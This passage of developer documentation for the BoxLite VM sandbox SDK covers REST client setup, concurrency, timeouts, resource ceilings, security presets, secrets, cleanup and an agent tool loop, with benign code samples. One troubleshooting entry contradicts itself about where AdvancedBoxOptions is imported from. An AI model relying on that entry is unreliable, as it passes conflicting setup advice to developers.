credential=ApiKeyCredential(API_KEY), path_prefix="default") ) box = None try: # Create a named box on the remote (auto_remove=False to allow manual cleanup after the demo) box = await runtime.create( BoxOptions(image="alpine:latest", auto_remove=False), name="rest-quickstart", ) await box.start() print(f"Created and started on remote: {box.id}") # Execute a command over REST; native Box.exec uses args= list and env= as list[tuple] execution = await box.exec("echo", args=["hello from remote box"]) # Current limitation: streaming stdout/stderr goes over WebSocket and requires the server to implement a WS exec endpoint; # the reference server (openapi/reference-server) only implements POST /exec + GET /executions/{id}, # so execution.stdout() returns no lines here. create/start/list/get_info/remove all work normally. stdout = execution.stdout() async for line in stdout: print(f" stdout: {line}") result = await execution.wait() print(f" exit_code: {result.exit_code} error_message: {result.error_message}") except Exception as exc: print(f"Execution failed: {exc!r}") finally: # Cleanup calls remove(id, force=...) on the runtime, not box.remove() if box is not None: await runtime.remove(box.id, force=True) print(f"Removed {box.id}") if __name__ == "__main__": asyncio.run(main()) ``` ## Parameters and Returns ### `BoxliteRestOptions(...)` Constructor Parameters | Parameter | Required | Type | Description | | - | - | - | - | | `url` | Required | `str` | Server base URL, e.g. `http://localhost:8100`. | | `credential` | Optional | `Credential` | Authentication credential, usually `ApiKeyCredential(key)`. Can be omitted for a permissive server. | | `path_prefix` | Optional | `str` | Routing-slot prefix (for multi-tenant control planes). **The Python parameter is `path_prefix`** (not `prefix`; passing `prefix=` raises `TypeError: ... got an unexpected keyword argument 'prefix'`). The attribute is likewise `opts.path_prefix`. When connecting to the **reference server**, set it to `"default"` (it mounts routes at `/v1/default/boxes`); leave it empty for a single-tenant `boxlite serve` that uses `/v1/boxes`. | > Node equivalent: `new BoxliteRestOptions({ url, credential, pathPrefix })` (the Node field is `pathPrefix`). ### Loading from Environment Variables (Recommended for CI/Production) `BoxliteRestOptions.from_env()` reads the following environment variables and automatically wraps `BOXLITE_API_KEY` into an `ApiKeyCredential`: | Environment variable | Required | Description | | - | - | - | | `BOXLITE_REST_URL` | Required | Server URL; `from_env()` raises if missing. | | `BOXLITE_API_KEY` | Optional | API key; when set it is wrapped into a credential automatically, otherwise no credential is sent. | | `BOXLITE_REST_PATH_PREFIX` | Optional | Routing-slot prefix, corresponding to the Python constructor parameter `path_prefix` (Node: `pathPrefix`). `from_env()` reads only `BOXLITE_REST_PATH_PREFIX`, not `BOXLITE_REST_PREFIX`. | ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import Boxlite, BoxliteRestOptions async def main() -> None: # Reads BOXLITE_REST_URL / BOXLITE_API_KEY / BOXLITE_REST_PATH_PREFIX try: opts = BoxliteRestOptions.from_env() except Exception as exc: # Reached here when BOXLITE_REST_URL is unset print(f"Missing environment variable: {exc!r}") print("Please set BOXLITE_REST_URL (required) and BOXLITE_API_KEY (optional)") return runtime = Boxlite.rest(opts) try: boxes = await runtime.list_info() print(f"Remote box count: {len(boxes)}") except Exception as exc: print(f"Listing failed: {exc!r}") if __name__ == "__main__": asyncio.run(main()) ``` Run: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} export BOXLITE_REST_URL=http://localhost:8100 # export BOXLITE_API_KEY=your-api-key # python use_env_config.py ``` ### REST Client Runtime Methods (All Require `await`) | Method | Returns | Description | | - | - | - | | `create(options, name=None)` | `Box` | Create a box on the remote. | | `get_or_create(options, name=None)` | `(Box, bool)` | Idempotent create; the bool indicates whether it was newly created. | | `get(id_or_name)` | `Box` | Get a handle by id or name. | | `get_info(id_or_name)` | `BoxInfo` | Get info (does not return a handle). | | `list_info(_state=None)` | `list[BoxInfo]` | List all boxes (newest first). | | `metrics()` | `RuntimeMetrics` | Runtime-level aggregate metrics. | | `remove(id_or_name, force=False)` | — | Delete a box (called on the runtime, not `box.remove()`). | > Metrics fields are authoritative in the source: `RuntimeMetrics` uses `num_running_boxes / boxes_created_total / boxes_failed_total / total_commands_executed / total_exec_errors`; `BoxMetrics` uses `memory_bytes / cpu_percent` (not `memory_usage_bytes / cpu_time_ms`). ### Accessing State (Common Pitfall) ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} info = await runtime.get_info(box_id) print(info.id) # box id print(info.name) # name or None print(info.state.status) # status string: outer BoxInfo.state -> BoxStateInfo.status print(info.cpus, info.memory_mib, info.image) ``` The outer object is `BoxInfo.state` (a `BoxStateInfo`), and the inner field is `status` (a string). Both `.state` and `.status` must be chained correctly — the Node equivalent, `info.state.status`, is already shown in the Quick Example above. ## Troubleshooting | Symptom / real error | Cause | Fix | | - | - | - | | `ConnectionRefusedError` / `Connection refused` | The server is not running, or the `url` port is wrong. | Run `boxlite serve --port 8100` on the server host and confirm the client `url` matches. | | HTTP `401 Unauthorized` | The server was started with `--api-key `, but the client sent no key or the wrong one. | Use `ApiKeyCredential()` on the client, or drop `--api-key` on the server to run permissive mode. | | `RuntimeError: configuration error: BOXLITE_REST_URL not set` (raised by `from_env()`) | A required environment variable is unset. | `export BOXLITE_REST_URL=...`, and `export BOXLITE_API_KEY=...` if needed. The exception is a standard `RuntimeError` and can be caught with try/except. | | `RuntimeError('box not found: {"detail":"Not Found"}')` (from `list_info()`/`create()`, etc.) | The client did not set `path_prefix`, so requests land on `/v1/boxes`, while the reference server mounts only `/v1/{prefix}/boxes`. | Pass `BoxliteRestOptions(..., path_prefix="default")` (reference server), or ensure the prefix matches the server's routing. | | `execution.stdout()` yields no lines | The REST client's stdout/stderr streams over WebSocket, and the reference server does not implement the WS streaming endpoint (only `POST /exec` + `GET /executions/{id}`). | The server must implement WS exec to stream stdout. `create/start/list_info/get_info/remove` are unaffected. | | `TypeError: BoxliteRestOptions.__new__() got an unexpected keyword argument 'prefix'` | `prefix=` was used by mistake. | The correct parameter is `path_prefix=` (Node: `pathPrefix`). | | `box.remove()` does not exist / `AttributeError` | Treating removal as a box method. | Call it on the runtime: `await runtime.remove(box_id, force=True)`. List with `runtime.list_info()` (not `list()`). | | `RuntimeWarning: coroutine ... was never awaited` | A REST client runtime method was not awaited. | Under the REST path, `create/get/get_info/list_info/metrics/remove` all require `await`. | | A remote `exec` exits non-zero but does not raise | By design, `exec` does not raise on a non-zero exit. | Check `result.exit_code` yourself; inspect `result.error_message` when the process died abnormally. | | `boxlite pull` / `boxlite images` report "not supported" in REST mode | The REST runtime does not currently support image operations. | Prepare images on the server side; the client only handles box lifecycle and execution. | | The server fails to start a box on macOS / a machine without virtualization | The virtualization requirement falls on the **server host**. | Deploy `boxlite serve` on a Linux+KVM host (or macOS with Apple Hypervisor.framework, no `/dev/kvm` required); the client can be on any platform. | ### Real Error Example (Passing a String for a Volume) ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} from boxlite import BoxOptions # Wrong: passing the string "ro" as the third element BoxOptions(image="alpine:latest", volumes=[("/data", "/data", "ro")]) # Correct: bool read_only (True=read-only / False=read-write) BoxOptions(image="alpine:latest", volumes=[("/data", "/data", True)]) ``` # Running sandboxes at scale Source: https://docs.boxlite.ai/guides/at-scale What breaks when you go from one sandbox to many, long-lived ones — and the four controls that keep it from breaking. Three classes of incident account for almost all of it: paying VM startup cost you did not need to, letting one box exhaust the host, and leaking boxes that outlive the process that made them. None of the fixes require weakening isolation. ## The checklist Work down this list before putting an agent that drives sandboxes into production. Each row links to the section that explains it, so this doubles as the page outline. | ✓ | Item | Where | | - | - | - | | ☐ | `cpus` / `memory_mib` set explicitly per box — never rely on the runtime default | [Resource ceilings](#resource-ceilings) | | ☐ | `SecurityOptions.standard()` or `.maximum()` passed for untrusted code | [Security: strong isolation](#security-strong-isolation) | | ☐ | Every `exec` result's `exit_code` checked — a non-zero exit does not raise | [Troubleshooting](#troubleshooting) | | ☐ | Timeouts use `SimpleBox.exec(timeout=...)` rather than `asyncio.wait_for` | [Timeouts and zombie-process protection](#timeouts-and-zombie-process-protection) | | ☐ | Cleanup guaranteed by `async with`, or by `runtime.remove(id, force=True)` in a `finally` | [Cleanup](#cleanup-guarantee-sandboxes-are-reclaimed) | | ☐ | Concurrency sized against host memory, not against task count | [Concurrency model](#concurrency-model) | | ☐ | Secrets injected with `Secret(...)`, never interpolated into prompts or commands | [Inject secrets](#inject-secrets-secret-vault-entry-point) | | ☐ | Image pulled and cached before peak load — the first pull is the slow one | [Boot latency](/architecture/boot-latency) | ## A production skeleton The most concise and stable production skeleton: a `SimpleBox` with resources and strong isolation configured, cleaned up automatically by `async with`. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # pip install boxlite import asyncio import boxlite from boxlite import BoxOptions, SecurityOptions, SimpleBox # AdvancedBoxOptions is exported at the top level from boxlite import AdvancedBoxOptions async def main() -> None: # SimpleBox creates/starts the sandbox only on entering async with, and stops/reclaims it on exit try: async with SimpleBox( image="python:slim", cpus=2, # CPU limit memory_mib=1024, # memory limit (exceeding it triggers OOM and kills the sandbox) auto_remove=True, # auto-delete on exit (default True) ) as box: result = await box.exec("python", "-c", "print('hello from sandbox')") # A non-zero exit code does not raise; check exit_code yourself if result.exit_code != 0: print(f"command failed (exit={result.exit_code}): {result.stderr}") else: print(result.stdout.strip()) except RuntimeError as exc: # Image pull failure or absence of virtualization raises a standard RuntimeError print(f"sandbox start failed: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` > The example above uses the `SimpleBox` "lazy box creation" path. If you need > finer-grained options across multiple sandboxes (strong isolation, volumes, > secrets, etc.), use the runtime `Boxlite` + `BoxOptions` directly (see the > concurrency and security sections below). *** ## Concurrency model Two modes; choose based on your isolation needs. Choosing between the two modes: ```mermaid theme={"theme":{"light":"github-light","dark":"github-dark"}} flowchart TB q1{"Do tasks need different images,
or belong to different tenants?"} q1 -- yes --> B["Mode B: one sandbox per task"] q1 -- no --> q2{"Would leftover state from one task
break the next one?"} q2 -- yes --> B q2 -- no --> A["Mode A: one sandbox, many execs"] ``` ### Mode A: one sandbox, many execs (recommended default) A single sandbox can carry many `exec()` calls; each `exec` spawns a new process inside the same VM. The VM startup cost is paid once, and the VM boundary itself already provides hardware isolation from the host. This fits the vast majority of agent scenarios. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # pip install boxlite import asyncio import boxlite from boxlite import BoxOptions, SecurityOptions from boxlite import AdvancedBoxOptions async def main() -> None: # Boxlite is a synchronous context manager (with), but its data methods (create/remove/...) are async and require await try: with boxlite.Boxlite.default() as runtime: box = await runtime.create( BoxOptions( image="python:slim", cpus=2, memory_mib=1024, advanced=AdvancedBoxOptions( security=SecurityOptions.maximum() ), ) ) try: # Launch multiple executions concurrently within the same sandbox executions = await asyncio.gather( box.exec("python", ["-c", "print('task A')"]), box.exec("python", ["-c", "print('task B')"]), box.exec("python", ["-c", "print('task C')"]), ) for execution in executions: result = await execution.wait() # native Execution.wait() # The ExecResult returned by native Execution.wait() has only exit_code / error_message, # not stdout/stderr; use the high-level SimpleBox.exec to capture output. print(f"exit={result.exit_code}") finally: # Removal happens on the runtime: runtime.remove(id, force=); there is no box.remove(). # force=True stops the running box before deleting it. await runtime.remove(box.id, force=True) except RuntimeError as exc: print(f"runtime/sandbox error: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` > Note: `runtime.create(...)` returns a native `Box` (an async context manager), > not a `SimpleBox`. The example below awaits it and then stops and removes the > box explicitly. The native > signature of `box.exec(...)` takes `args: list` as its second argument, and > its timeout parameter is `timeout_secs` (unlike the high-level > `SimpleBox.exec`'s `timeout`). ### Mode B: one sandbox per agent / task When you need strong cross-tenant isolation, different images, or independent resource ceilings, give each task its own sandbox. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # pip install boxlite import asyncio from boxlite import SimpleBox async def run_isolated(code: str, image: str = "python:slim") -> str: """Each task gets a dedicated sandbox; async with guarantees cleanup on completion.""" try: async with SimpleBox(image=image, memory_mib=512) as box: result = await box.exec("python", "-c", code) if result.exit_code != 0: return f"[failed exit={result.exit_code}] {result.stderr.strip()}" return result.stdout.strip() except RuntimeError as exc: return f"[sandbox error] {exc}" async def main() -> None: outputs = await asyncio.gather( run_isolated("print('agent 1')"), run_isolated("print('agent 2')", image="node:alpine"), # different image run_isolated("print('agent 3')"), ) for line in outputs: print(line) if __name__ == "__main__": asyncio.run(main()) ``` | Mode | When to use | Cost | | - | - | - | | A: one sandbox, many execs | Most agent tool loops | VM startup paid once; processes share the same VM | | B: one sandbox per task | Multi-tenant isolation / different images / independent resource ceilings | Each sandbox pays its own VM startup cost | *** ## Timeouts and zombie-process protection `asyncio.wait_for()` only cancels the Python coroutine; it does **not** kill the process inside the sandbox — the process keeps running inside the VM. The two correct approaches follow. ### Approach 1 (recommended): use `SimpleBox.exec(timeout=...)` The high-level `SimpleBox.exec` has a built-in `timeout` (float, seconds). On timeout, BoxLite terminates the process on the sandbox side via signal, leaving no stray process. > Key point: a `SimpleBox.exec` timeout **does not raise `TimeoutError`** — it > returns an `ExecResult` whose `exit_code` is negative (the process is > terminated by `SIGTERM`, so `exit_code == -15`). Always check > `result.exit_code`; do not use `except TimeoutError`. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # pip install boxlite import asyncio from boxlite import SimpleBox async def main() -> None: try: async with SimpleBox(image="python:slim", memory_mib=512) as box: # timeout is a float in seconds; on timeout the sandbox side terminates the process result = await box.exec( "python", "-c", "import time; time.sleep(9999)", timeout=5.0, ) # Timeout does not raise: returns a negative exit_code (process terminated by SIGTERM -> exit_code == -15) if result.exit_code != 0: print(f"command timed out or failed (exit={result.exit_code}); the sandbox side stopped the process") else: print(result.stdout.strip()) except RuntimeError as exc: print(f"sandbox error: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` ### Approach 2: manual `wait_for` + `kill()` (native Execution) When you use the native `box.exec(...)` directly to obtain an `Execution`, you must call `kill()` explicitly in the timeout branch. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # pip install boxlite import asyncio import boxlite from boxlite import BoxOptions async def exec_with_timeout(box, cmd, args=None, timeout=30.0): """Native execution + timeout cleanup: on timeout you must explicitly kill, otherwise the process becomes a zombie inside the VM.""" execution = await box.exec(cmd, args or []) try: return await asyncio.wait_for(execution.wait(), timeout=timeout) except asyncio.TimeoutError: try: await execution.kill() # key step: kill the process inside the sandbox except Exception: pass # best effort raise async def main() -> None: try: with boxlite.Boxlite.default() as runtime: box = await runtime.create(BoxOptions(image="python:slim")) try: try: await exec_with_timeout( box, "python", ["-c", "import time; time.sleep(9999)"], timeout=5.0, ) except asyncio.TimeoutError: print("timed out; killed the process inside the sandbox") finally: # Remove directly (force=True stops the running box before deleting it) await runtime.remove(box.id, force=True) except RuntimeError as exc: print(f"runtime error: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` *** ## Resource ceilings Set hard ceilings on a sandbox via the `BoxOptions` / `SimpleBox` constructor parameters to prevent a runaway agent from exhausting host resources. | Parameter | Type | Required | Default | Description | | - | - | - | - | - | | `cpus` | `int` | Optional | Engine default (see note) | vCPU ceiling | | `memory_mib` | `int` | Optional | Engine default (see note) | Memory ceiling (MiB); exceeding it triggers OOM and kills the sandbox | | `disk_size_gb` | `int` | Optional | None (unset uses the image default) | Persistent disk size (GB) | | `working_dir` | `str` | Optional | None | Default working directory for commands | | `auto_remove` | `bool` | Optional | `True` (SimpleBox) | Whether to auto-delete the sandbox on exit | > Resource defaults: when `cpus`/`memory_mib` are not passed, the underlying > engine allocates a default. To inspect the actual resources inside a box, use > `nproc` / `/proc/meminfo`. For predictability and cost control, set them > **explicitly** in production. See > [Compute Resources](/manage-sandbox/compute-resources). Choose a configuration by workload (the following are suggested starting points; adjust as needed): | Workload | Image | CPUs | Memory | Disk | Notes | | - | - | - | - | - | - | | Code execution | `python:slim` | 1 | 512 MiB | None | Ephemeral, fast start | | Data analysis | `python:slim` | 2 | 2048 MiB | None | pandas/numpy need more memory | | Browser automation | use `BrowserBox` | 2 | 2048 MiB | None | Chromium is resource-heavy | | Multi-tool agent | `python:slim` | 2 | 1024 MiB | None | Trade-off between cost and capability | | Persistent environment | `python:slim` | 1 | 512 MiB | 10 GB | State survives restarts | ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # pip install boxlite import asyncio import boxlite from boxlite import BoxOptions async def main() -> None: try: with boxlite.Boxlite.default() as runtime: box = await runtime.create( BoxOptions( image="python:slim", cpus=1, # CPU limit memory_mib=512, # hard memory limit; exceeding it triggers OOM working_dir="/workspace", ) ) try: # The ExecResult from native wait() has only exit_code/error_message, no stdout result = await (await box.exec("nproc", [])).wait() print(f"exit={result.exit_code}") finally: # Remove directly (force=True stops the running box before deleting it) await runtime.remove(box.id, force=True) except RuntimeError as exc: print(f"runtime error: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` ### Observe runtime resource usage Use the runtime-level `metrics()` for global metrics, noting the actual field names. Although `Boxlite` is a synchronous context manager, `metrics()` is an **async method (requires `await`)**, so call it inside an async function. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # pip install boxlite import asyncio import boxlite async def main() -> None: try: # Boxlite is a synchronous context manager (with, not async with) with boxlite.Boxlite.default() as runtime: m = await runtime.metrics() # metrics() is async; must await print("running boxes:", m.num_running_boxes) # not active_boxes print("created total:", m.boxes_created_total) print("failed total:", m.boxes_failed_total) print("commands total:", m.total_commands_executed) print("exec errors total:", m.total_exec_errors) except RuntimeError as exc: print(f"runtime error: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` | Object | Field | Description | | - | - | - | | `RuntimeMetrics` | `num_running_boxes` | Currently running sandboxes (not `active_boxes`) | | `RuntimeMetrics` | `boxes_created_total` / `boxes_failed_total` | Cumulative created/failed | | `RuntimeMetrics` | `total_commands_executed` / `total_exec_errors` | Cumulative commands/exec errors | | `BoxMetrics` (`await box.metrics()`) | `memory_bytes` | Memory usage in bytes (not `memory_usage_bytes`) | | `BoxMetrics` | `cpu_percent` | CPU percentage (not `cpu_time_ms`) | *** ## Security: strong isolation Security options are passed **via `advanced`**; there is no top-level `security=` keyword. Import `AdvancedBoxOptions` with `from boxlite import AdvancedBoxOptions`. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # pip install boxlite import asyncio import boxlite from boxlite import BoxOptions, SecurityOptions from boxlite import AdvancedBoxOptions async def main() -> None: try: with boxlite.Boxlite.default() as runtime: box = await runtime.create( BoxOptions( image="python:slim", cpus=1, memory_mib=512, # Correct form: security is passed via advanced advanced=AdvancedBoxOptions( security=SecurityOptions.maximum() ), ) ) try: result = await (await box.exec("id", [])).wait() print(f"exit={result.exit_code}") finally: # Remove directly (force=True stops the running box before deleting it) await runtime.remove(box.id, force=True) except RuntimeError as exc: print(f"sandbox error: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` ### Security presets `SecurityOptions` has three preset static methods (**there is no `.minimum()`**; the weak preset is called `development()`): | Preset | Jailer | Seccomp | Use case | | - | - | - | - | | `SecurityOptions.development()` | off | off | Debugging sandbox issues | | `SecurityOptions.standard()` | on | on (Linux) | General workloads | | `SecurityOptions.maximum()` | on | on (Linux) | Untrusted AI code (recommended for agents) | You can also construct a custom one (keyword arguments): ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # pip install boxlite from boxlite import SecurityOptions # Custom: based on maximum, tighten networking as needed custom = SecurityOptions( jailer_enabled=True, seccomp_enabled=True, network_enabled=False, # disable sandbox outbound networking (an effective control on macOS) ) print(type(custom).__name__) ``` > In the Python bindings, `network_enabled` is currently a macOS-side control. > On Linux, network isolation is typically achieved via `NetworkSpec` > (`BoxOptions(network=...)`) together with publishing no ports. To disconnect > the network entirely, use it together with `BoxOptions(network=NetworkSpec(...))`; > see [Network Access](/manage-sandbox/network-access). ### Read-only volumes: the third element is a bool, not a string When mounting data into a sandbox, use a read-only volume to prevent it from being overwritten. **The third element of a volume is the `bool read_only` (`True` = read-only / `False` = read-write), not the string `"ro"`/`"rw"`**; a 2-tuple also works (default read-write). ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # pip install boxlite from boxlite import BoxOptions options = BoxOptions( image="python:slim", volumes=[ ("/host/datasets", "/mnt/data", True), # True = read-only, agent can only read ("/host/results", "/mnt/results", False), # False = read-write, used for output ("/host/cache", "/mnt/cache"), # 2-tuple = default read-write ], ) # BoxOptions validates volume types at construction (the third element must be a bool), # but provides no .volumes read-back attribute after construction; this only confirms construction succeeded. print("volumes configured") ``` > Passing a string raises directly: > `TypeError: 'str' object cannot be cast as 'bool'` (see Troubleshooting). The > CLI's `-v host:box:ro` syntax uses `ro`/`rw` strings and belongs to the CLI > parsing layer — **it is different from the SDK's bool**, so do not confuse > them. ### Inject secrets (Secret / Vault entry point) Do not write tokens in cleartext into commands or the environment; use `BoxOptions(secrets=[Secret(...)])`. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # pip install boxlite from boxlite import BoxOptions, Secret options = BoxOptions( image="python:slim", secrets=[ Secret( name="API_TOKEN", value="", # TODO: replace with your real key (do not commit to the repository) hosts=["api.example.com"], # inject only to these hosts placeholder="{{API_TOKEN}}", ), ], ) print(len(options.secrets), "secret(s)") ``` For complete secret usage, see [Secrets and Security](/manage-sandbox/secrets-and-security). *** ## Cleanup: guarantee sandboxes are reclaimed | Method | When to use | Key point | | - | - | - | | `async with SimpleBox(...)` | High-level wrapper, single sandbox | Auto stop + delete on exit (`auto_remove=True`) | | `runtime.remove(id, force=False)` | When using the `Boxlite` runtime directly | **Removal is on the runtime**; there is no `box.remove()` | | `runtime.shutdown(timeout=...)` | Batch reclaim before process exit | `None` = 10s, `-1` = wait indefinitely | | `boxlite ps -a` then `boxlite rm -a -f` | After an abnormal process exit | Every method above runs **inside** your process. A `SIGKILL`, an OOM kill, or a panic skips all of them, and the boxes plus their disks survive | Boxes outlive the process that created them, so a hard kill leaves them running and holding disk and host ports. Recover from the command line: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # List every box, including ones no longer owned by a live process boxlite ps -a # Remove one by name or ID (-f also removes it if still running) boxlite rm -f # Or reclaim everything boxlite rm -a -f ``` ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # pip install boxlite import asyncio import boxlite from boxlite import BoxOptions async def main() -> None: try: with boxlite.Boxlite.default() as runtime: box = await runtime.create( BoxOptions(image="python:slim"), name="agent-worker-1", ) try: await (await box.exec("true", [])).wait() finally: # Use the runtime method to remove (not box.remove()); accepts id or name; # force=True stops the running box before deleting it. await runtime.remove("agent-worker-1", force=True) # List remaining sandboxes with list_info() (not list()); it is async and requires await for info in await runtime.list_info(): # both box.info() and runtime.list_info() are async — await them # BoxInfo.state is a BoxStateInfo; the status string is in .state.status print(info.id, info.state.status) except RuntimeError as exc: print(f"runtime error: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` > List with `runtime.list_info()` (not `list()`); it is an **async method > (requires `await`)**. `box.info()` is async too, so `await` it, as are > `runtime.list_info()` / > `runtime.metrics()` / `runtime.remove()` / `runtime.create()` / > `runtime.shutdown()` are all **async (require `await`)**. `BoxInfo.state` is a > `BoxStateInfo`, and the sandbox status string is in `info.state.status`. *** ## File transfer (production patterns) | Method | Direction | Suitable for | Size limit | | - | - | - | - | | `box.copy_in()` | host -> sandbox | Files/directories | Large files | | `box.copy_out()` | sandbox -> host | Extracting results | Large files | | `exec` + base64 | Both | Tiny inline data | \~1 MB (shell limit) | | Volume mount | Both | Shared datasets/config | Unlimited | ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # pip install boxlite import asyncio from boxlite import SimpleBox async def main() -> None: try: async with SimpleBox(image="python:slim", memory_mib=512) as box: # Copy the script into the sandbox (SimpleBox.copy_in defaults to overwrite=True) await box.copy_in("/script.py", "/workspace/script.py") # TODO: replace path result = await box.exec("python", "/workspace/script.py") if result.exit_code != 0: print(f"script failed: {result.stderr}") # Copy the result back to the host await box.copy_out("/workspace/output.json", "/output.json") # TODO: replace path except FileNotFoundError as exc: print(f"host file not found: {exc}") except RuntimeError as exc: print(f"sandbox error: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` Recommendation: use `copy_in`/`copy_out` for dynamic, per-request files; read-only volumes for shared datasets; and inline base64 only for tiny payloads. *** ## Troubleshooting | Symptom | Cause | Fix | | - | - | - | | `AttributeError: 'SecurityOptions' has no attribute 'minimum'` | That preset does not exist | Presets are `development()` / `standard()` / `maximum()` | | `AttributeError: 'Box' object has no attribute 'remove'` | Removal is a runtime operation | `await runtime.remove(box.id, force=True)` | | `RuntimeError: box not found` right after `stop()` | `stop()` with `auto_remove` already removed the box | Clean up with `runtime.remove(id, force=True)` alone — do not chain `stop()` + `remove()` | | Native `Execution.wait()` result has no `stdout` / `stderr` | The native `ExecResult` carries only `exit_code` and `error_message` | Stream output with `execution.stdout()`, or use the wrapper `SimpleBox.exec` which aggregates both | | `AttributeError` when reading `BoxOptions.volumes` | `volumes` is write-only on the options object (`secrets` is readable) | Track the volume list in your own code if you need to read it back | | `RuntimeError: ... spawn_failed ... not found in $PATH` | The command does not exist in the image | Install it first, or catch `RuntimeError` around `exec` | | `exec` returned a non-zero exit and raised nothing | By design | Check `result.exit_code` after every `exec` — see [Error handling](/guides/error-handling#troubleshooting) | | `RuntimeError` while pulling an image | Network instability, wrong reference, or missing registry auth | Retry with backoff; verify the image reference and any registry credentials | | A process survives `await execution.wait()` after a timeout | The timeout signalled the process but a child kept running | Prefer `SimpleBox.exec(timeout=...)`, which reaps the process tree | | `RuntimeError: no running event loop` on a runtime call | `Boxlite` is entered with a synchronous `with`, but its methods are async | `await` every runtime method; and `box.info()` too is asynchronous | | The box fails to start at all | No hardware virtualization available | See [Installation](/getting-started/installation#platform-and-virtualization-requirements-common-to-all-sdks) | ### Passing a string for a volume -> `TypeError: 'str' object cannot be cast as 'bool'` ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Wrong: the third element is a string BoxOptions(image="python:slim", volumes=[("/host", "/mnt", "ro")]) # TypeError: 'str' object cannot be cast as 'bool' ``` The third element is the `bool read_only`: use `True` for read-only, `False` or omit it (2-tuple) for read-write. The CLI's `:ro`/`:rw` belongs to the CLI layer syntax and is unrelated to the SDK API. ### `AttributeError: module 'boxlite' has no attribute 'AdvancedBoxOptions'` `AdvancedBoxOptions` lives in the `boxlite.boxlite` submodule, not the top level — import it from there: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} from boxlite import AdvancedBoxOptions ``` And security options are passed via `advanced`; there is no top-level `security=`: `BoxOptions(advanced=AdvancedBoxOptions(security=SecurityOptions.maximum()))`. ## See Also * [Lifecycle Management](/manage-sandbox/lifecycle) — create / get / remove / shutdown * [Compute Resources](/manage-sandbox/compute-resources) — cpus / memory\_mib / disk\_size\_gb * [Volumes](/manage-sandbox/volumes) — the read\_only bool * [Network Access](/manage-sandbox/network-access) — NetworkSpec and outbound control * [Secrets and Security](/manage-sandbox/secrets-and-security) — Secret / SecurityOptions detail * [Run code in any language](/agent-tools/code-execution-any-language) — SimpleBox.exec * [Deploy in Docker or Kubernetes](/guides/deployment) — Docker / Kubernetes ## A tour: one agent session, one sandbox Moved here from the section index, which is now a summary and an index. Below is a **minimal, runnable tool-execution loop for an agent**: it runs the command "the model wants to execute" inside a sandbox, checks the exit code, and formats the result into a string you can feed back to the model. A hardcoded tool call stands in for real LLM output so you can copy and run it directly; when you wire in a real model, replace `tool_call` with the model's returned tool call. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import SimpleBox async def run_tool_in_sandbox(box: SimpleBox, command: str, *args: str) -> str: """Execute a tool call inside the sandbox; return text to feed back to the LLM.""" # A non-zero exit code does not raise; check exit_code yourself result = await box.exec(command, *args, timeout=30.0) # timeout is in seconds (float) if result.exit_code != 0: return f"[tool error exit={result.exit_code}] {result.stderr.strip()}" return result.stdout.strip() async def main() -> None: try: # auto_remove=True is the default: leaving async with destroys this session sandbox async with SimpleBox(image="alpine:latest", cpus=1, memory_mib=512) as box: # In a real scenario, this step comes from the LLM's returned tool call tool_call = ("sh", "-c", "echo 'analyzing...' && uname -sm") observation = await run_tool_in_sandbox(box, *tool_call) print("observation fed back to LLM:\n", observation) # Append the observation to the conversation history and continue the next agent loop except RuntimeError as e: # Image pull failure or absence of hardware virtualization raises a standard RuntimeError print("sandbox start or pull failed:", e) asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} import { SimpleBox } from "@boxlite-ai/boxlite"; async function runToolInSandbox( box: SimpleBox, command: string, args: string[], ): Promise { const result = await box.exec(command, args, undefined, { timeoutSecs: 30 }); if (result.exitCode !== 0) { return `[tool error exit=${result.exitCode}] ${result.stderr.trim()}`; } return result.stdout.trim(); } async function main(): Promise { try { // await using: at scope exit, destroy the session sandbox per autoRemove (default true) await using box = new SimpleBox({ image: "alpine:latest", cpus: 1, memoryMib: 512, }); // In a real scenario, this step comes from the LLM's returned tool call const observation = await runToolInSandbox(box, "sh", [ "-c", "echo 'analyzing...' && uname -sm", ]); console.log("observation fed back to LLM:\n", observation); } catch (e) { console.error("sandbox start or pull failed:", e); } } main(); ``` Node differs in three places: the package name is `@boxlite-ai/boxlite`, `SimpleBox` cleans up via `await using`, and the `exec` timeout option is `timeoutSecs`. > For a complete tool loop where a real LLM drives the sandbox, see > [Drive a sandbox from your agent loop](/agent-tools/drive-from-agent-loop). *** # Release notes and your version Source: https://docs.boxlite.ai/guides/changelog Where BoxLite's release history lives, and how to check which version you are running. Release notes are generated per release and published on GitHub Releases — that is the authoritative record of what changed between versions, including security advisories. * BoxLite installed in at least one SDK (Python `boxlite`, Node `@boxlite-ai/boxlite`), or the CLI binary `boxlite`. * For browsing release notes: a web browser; no API key required. ## Current state * **Latest published version:** check the registry directly — `pip index versions boxlite` or `npm view @boxlite-ai/boxlite version`. GitHub Releases is the authoritative changelog. * There is **no `CHANGELOG.md`** in the repository. Per-version notes are auto-generated on each GitHub Release. * Release notes include a **Security** section when an advisory applies (for 